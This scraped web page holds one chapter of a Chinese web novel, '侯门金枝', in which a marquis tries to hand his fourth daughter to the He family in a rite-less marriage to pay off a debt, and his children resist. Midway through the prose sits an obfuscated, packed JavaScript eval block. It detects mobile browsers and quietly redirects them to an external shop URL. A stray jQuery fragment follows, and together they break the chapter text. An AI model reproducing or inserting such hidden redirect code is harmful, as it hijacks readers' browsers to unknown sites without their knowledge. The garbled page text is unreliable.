文趣网 > 都市小说 > 侯门金枝 > 56. 第 56 章
    侯爷一句话说完,在场众人面色各异。

    “给谁?”杨鸢怀疑的目光在侯爷身上逡巡一圈。

    “婚事?”杨婳怔住,似乎还没回过神来。

    “父亲给谁寻了婚配?”杨湫目瞪口呆,一时不察,手上的筷子掉落在地。

    “您给四妹找了什么?”杨斐呆滞地将目光在侯爷和杨绮身上转了一圈。

    杨绮低头不语,脸色惨白;杨玥一听便嚷嚷起来:“不要!不要四姐嫁人!”

    一嗓子石破天惊,终于把大家的魂都叫了回来,侯爷却十分不满地呵斥杨玥:“没规矩,谁许你说话了?”

    “这么大的,喜事。”杨鸢回过神来,冷笑着瞪着侯爷:“侯爷也不跟我们提前讲一声?”

    她将‘喜事’两个字咬得格外重,恨不得将侯爷生吞活剥。

    杨湫心里七上八下,手心里捏了一把汗:杨鸢当年经历过这种事,侯爷真是记吃不记打。

    “婚姻大事向来是由父母做主,告诉你们做什么?”侯爷底气不足,虚张声势地瞪了回去。

    “那该有的总要有吧?”杨斐同样怼了回去。

    杨湫不免长叹一声,尝试着在其中斡旋:“父亲,大哥,还有二姐。大家稍安勿躁。先听父亲说完,您到底给四妹许了什么人家?对方家世如何,哪里人氏?”

    侯爷冷哼一声,说得含糊其辞:“自然是京城官宦人家,门当户对,我还能害了自己的女儿吗!”

    “那可未必。”杨斐凉飕飕地说道。

    “你!你现在是翅膀硬了,不听你父亲的话了吗?”侯爷的脾气好像一点就炸的炮仗,当即用力一拍桌子,吹胡子瞪眼看着杨斐:“你你你。你敢忤逆不孝,跪下!”

    杨斐不着痕迹翻了个白眼,没搭理侯爷。

    “父亲。”杨婳急忙起身上前,站在侯爷身侧:“大哥绝非此意,您——”

    “可你看他那副样子,成心想气死我!”侯爷一拂袖,恨恨地出了一口气。

    “您就非得让我把话说明白?同样的把戏再玩一次没意思,侯爷。”杨斐语调生硬,直愣愣地将话怼了回去。

    侯爷顿时气不打一处来,气得手指都在颤抖:“你,你!”

    “怎么了,我哪一句说的不是实话?您又打哪喝酒去喝昏了头,随口把四妹许了人家?”杨斐嘴上不依不饶,起身直直俯视着侯爷,顺势将杨婳拉到自己身后。

    杨婳夹在中间也只能干着急:“大哥。”

    “人家当酒后胡言含混过去,没想到侯爷是一诺千金,生怕被人戳着脊梁骨骂。”

    侯爷颤颤巍巍捂住胸口:“你这个孽障。”

    杨湫一惊,连忙出声阻止:“父亲冷静,您万一气出个好歹的!”

    “那也是我气死的,跟你们有什么关系。”杨斐摊开手,一脸无所谓。

    杨湫一时间如鲠在喉,不知该说什么是好。

    她看了一眼隔岸观火的杨鸢,见二姐大有袖手旁观,正好让杨斐顺手给侯爷气死,之后大家安心过日子的打算。

    杨绮双眼蓄满泪水,和杨玥抱在一起小声啜泣,杨玥伸手死死攥着四姐的衣裳,一迭声说不要。

    “不要,父亲,不要把四姐许配给别人好不好?”杨玥哭着问道。

    “可是,可是我已经答应他了!”屋中更漏响起,侯爷脸上更添一份惶急,甚至顾不上继续和杨斐纠缠,急忙起身,打算拉着杨绮离开:“快,绮儿,跟父亲来!”

    “您这是做什么?”杨斐跨了一步,继续挡在侯爷面前,丝毫不给他机会:“无媒无聘,您让四妹嫁给谁呀?”

    “对啊,父亲。”杨婳颤巍巍开口,试探着问道:“您说亲事,可三书六礼未成,如何算明媒正娶?”

    “还要那些虚礼做什么?”侯爷大为不解,急得直跺脚,伸手欲推开挡在自己眼前的人:“良辰吉日误不得!”

    “父亲!”杨湫心里一惊,张开双臂拦在杨绮面前:“既然是清白人家,到底有什么说不得的,您何必遮遮掩掩,让我们心里不安?”

    “哎呀,我,我还能害了你妹妹吗!”侯爷依旧不肯明说,只一味推脱起来。

    杨湫心底的怀疑愈发浓重,声音也沉了下去:“父亲,我们绝非有意顶撞,更不是和您作对。您告诉我们对方是什么人,我们也能放心些。”

    她深吸了一口气,眼神坚定:“大姐说的对,三书六礼未成,四妹的婚事就作不得数。父亲,请您三思,倘若来日对方反悔,四妹要如何自处?”

    “有什么不可说的?”杨鸢冷笑起来:“还能比您给我找的那个什么纨绔公子差劲吗?”

    “小鸢!”杨斐一惊,脱口而出。

    杨鸢不以为意,不咸不淡的抱着手臂走到侯爷身后:“您怎么不说了?”

    她对此似乎毫无芥蒂,说出来也不过一件陈年旧事,刺激的其余人登时眼眶一红。

    杨婳的声音已经带上三分哽咽:“父亲,您,您就说吧。若他们真的是清白人家,又有什么见不得光的?”

    侯爷在几方视线的压迫之下,不得已吐出只言片语:“那可是御史中丞何家,跟绮儿怎么不算门当户对!”

    杨鸢听了一半就笑出声来:“何家?我没听说过什么姓何的御史中丞,只知道他家里有一个不成器的儿子,还有一个病入膏肓的孙子!”

    京城官宦人家的情况,杨鸢可谓了若指掌,被她这么一提,侯爷的脸色顿时一片惨白,咬着牙不让自己露怯:“你,那是你的片面之词。”

    “您何必自欺欺人?他们家在京城什么名声,随便问谁都知道。”杨斐难以置信。

    侯爷面上虽窘迫,言语间仍不落下风:“那又如何?我是绮儿的父亲,我想把她嫁给谁就嫁给谁!”

    说罢,侯爷就喊来了几个嬷嬷:“来人,带四小姐下去梳妆,送到花轿上去!”

    侯府正门口不知何时停下一顶红布小轿,没有喜乐媒人,只有何家一名老嬷嬷和四个轿夫。

    来往的路人不由得好奇停下,对着花轿指指点点。

    “哎,定陵侯府要嫁姑娘了?”

    “这看着也不像啊,你别乱猜,得罪了侯府怎么办?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524836|203441||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “可是这大红花轿都抬上门了,不是娶亲,这是什么?”

    “真是奇怪,怎么也不见侯府摆席面,也没听到什么鞭炮喜乐。婶子,这不像正经娶亲啊。”

    “嘘,小点声。”

    更漏再度响起,已经是酉时了。

    “快!快给四小姐换好衣裳,不然吉时要耽误了。”侯爷指挥着嬷嬷们押住杨绮,将她下去梳妆更衣。

    杨湫心底一阵阵发寒,拼命抱住杨绮,任嬷嬷们如何撕扯也不肯松手:“滚开!不许碰她!”

    杨绮早已泪流满面,握紧了杨湫肩头的衣物,不敢再抬眼看着侯爷。

    “您到底闹够了没有?”杨鸢忽然吼了一声:“侯爷,明人不说暗话,我问您,您这门亲事到底是怎么来的!”

    “轮得到你来指手画脚吗?”侯爷心虚地大吼道。

    杨鸢不言不语,忽然拔下了头上的金簪,紧紧握在手里:“今天若是说不清楚,谁也别想出这个门。”

    “小鸢,你别!”杨斐吓了一跳,难得失态喊了出来:“你千万别做那种事。”

    “我没兴趣以死相逼,不值得。”杨鸢目光仿佛淬毒,看得侯爷后背汗毛耸立。

    “已经发生过一次的事情,我怎么可能重蹈覆辙。”杨鸢将金簪的箭头对准两名嬷嬷:“放手,滚开。”

    两名嬷嬷被杨鸢扫了一眼,顿时噤若寒蝉。

    杨湫见状,立刻将杨绮推进杨鸢怀中,任由杨鸢带走了她。

    侯爷正想追赶,又被杨湫和杨斐一前一后堵住了退路,进退维谷。

    “你们,你们真是要反了天!”侯爷气急败坏地转身,十分颓丧地坐在桌前,忽然暴怒起来,将桌上的杯盏碗碟扫落在地。

    “就为了一个荒唐至极的婚约,您能无媒无聘将四妹送给对方。我便是说得再难听,您和那些卖子求荣的人有什么分别?”

    见杨鸢头也不回的离开,当年她以死相逼,当着众人的面就要触柱而亡的场景再度浮上心头。

    杨斐闭上眼睛,略微稳定了心神,再次睁开眼时,对侯爷的失望和厌恶一同倾泻而下。

    他并不介意将话说得如何难听,撕破了这一片虚假的和平。

    “可是,可是我能有什么办法?”侯爷大吼道:“何家要挟我,我若是还不上欠他们的银子,他们就要向陛下参我一本。”

    杨湫只觉得如坠冰窟,颤抖着问道:“就,只是因为银子的事情?”

    侯爷强撑着自己的体面:“三千两银子,侯府哪有这么多银子?就算把你们亲娘的嫁妆都卖了也还不上了!”

    “父亲,为了这些银子,就值得断送四妹吗?”杨婳呆愣当场,两行清泪不知不觉淌过面颊,她喃喃自语:“您这次真是,真是大错特错!”

    侯爷见一向温柔顺从的杨婳都跳出来反对自己,更是怒从心头起。

    “我才是定陵侯,我是这个家的主人,只有我才能决定你们的一切。”

    “您已经错了,又何必一错再错?”杨婳眼含热泪,却仍然挺直脊背:“父亲,苦海无涯,及时抽身才是上策啊!”